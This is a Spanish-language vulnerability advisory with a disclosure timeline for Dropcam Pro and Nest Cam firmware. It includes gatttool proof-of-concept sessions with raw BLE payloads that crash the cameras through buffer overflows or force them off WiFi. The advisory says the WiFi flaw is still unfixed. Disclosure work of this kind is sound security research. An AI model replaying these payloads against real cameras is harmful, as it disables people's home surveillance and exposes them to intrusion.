
Divulgaciones de vulnerabilidades PoC para cámaras IoT de consumo, que detallan desbordamientos de búfer BLE y ataques de desasociación WiFi capaces de dejar los dispositivos fuera de línea.
Afectados: Dropcam Pro, modelos Nest Cam Indoor/Outdoor
Última compilación afectada: 205-600052
Compilación parcialmente corregida: 205-600055
ACTUALIZACIÓN La última versión de firmware 205-600055 no corrige la vulnerabilidad de desasociación WiFi en Dropcam Pro. Si la red WiFi suministrada no existe, el tiempo de reasociación se ha mejorado y ahora se vuelve a conectar en aproximadamente 10 segundos. Sin embargo, todavía se puede proporcionar una red WiFi válida para dejar la Dropcam fuera de línea de forma permanente.
Cronología de divulgación:
26 de octubre de 2016: Se reportó el fallo de seguridad según las pautas del Programa de Recompensas por Vulnerabilidades de Google
27 de octubre de 2016: El equipo de seguridad de Google confirmó que el informe fue recibido y estaba siendo investigado
1 de noviembre de 2016: El equipo de seguridad de Google validó las vulnerabilidades reportadas y abrió un informe de error
15 de noviembre de 2016: El panel de VRP de Google emitió una recompensa de $100 bajo "Adquisiciones no integradas"
17 de marzo de 2017: Divulgación pública
Aplicación iOS de PoC por Troy Stribling :: NestPWN
Resumen
Es posible provocar una condición de desbordamiento de búfer al configurar el parámetro SSID en la cámara. El atacante debe estar dentro del alcance del Bluetooth en cualquier momento mientras la cámara esté encendida. Bluetooth nunca se desactiva, incluso después de la configuración inicial.
Prueba de concepto
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Detalles
El payload intenta configurar un SSID con una longitud de 1 byte y envía 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
Resultado
Se bloquea y se reinicia volviendo al estado operativo
Resumen
Es posible provocar una condición de desbordamiento de búfer al configurar el parámetro de contraseña cifrada en la cámara. El atacante debe estar dentro del alcance del Bluetooth en cualquier momento mientras la cámara esté encendida. Bluetooth nunca se desactiva, incluso después de la configuración inicial.
Prueba de concepto
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Detalles
El payload intenta configurar la contraseña WiFi cifrada con una longitud de 1 byte y envía 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
Resultado
Se bloquea y se reinicia volviendo al estado operativo
Resumen
Es posible desconectar la cámara del WiFi proporcionándole un nuevo SSID al que conectarse. Estas cámaras no son compatibles con el almacenamiento local de las grabaciones de video, por lo que la vigilancia queda temporalmente deshabilitada. El atacante debe estar dentro del alcance del Bluetooth en cualquier momento mientras la cámara esté encendida. Bluetooth nunca se desactiva, incluso después de la configuración inicial.
Prueba de concepto
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
Detalles
El payload intenta cambiar el SSID asociado a la Nest Cam, lo que provoca una desasociación temporal del SSID WiFi actual.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
Resultado
La cámara se desasocia de la red WiFi actual para intentar asociarse con el SSID recién configurado. Si la red WiFi no existe, la cámara se desconectará durante aproximadamente 60-90 segundos antes de volver a la red WiFi original y reanudar el funcionamiento normal. Si la red existe, comprobará la conectividad a Internet y permanecerá en la nueva red.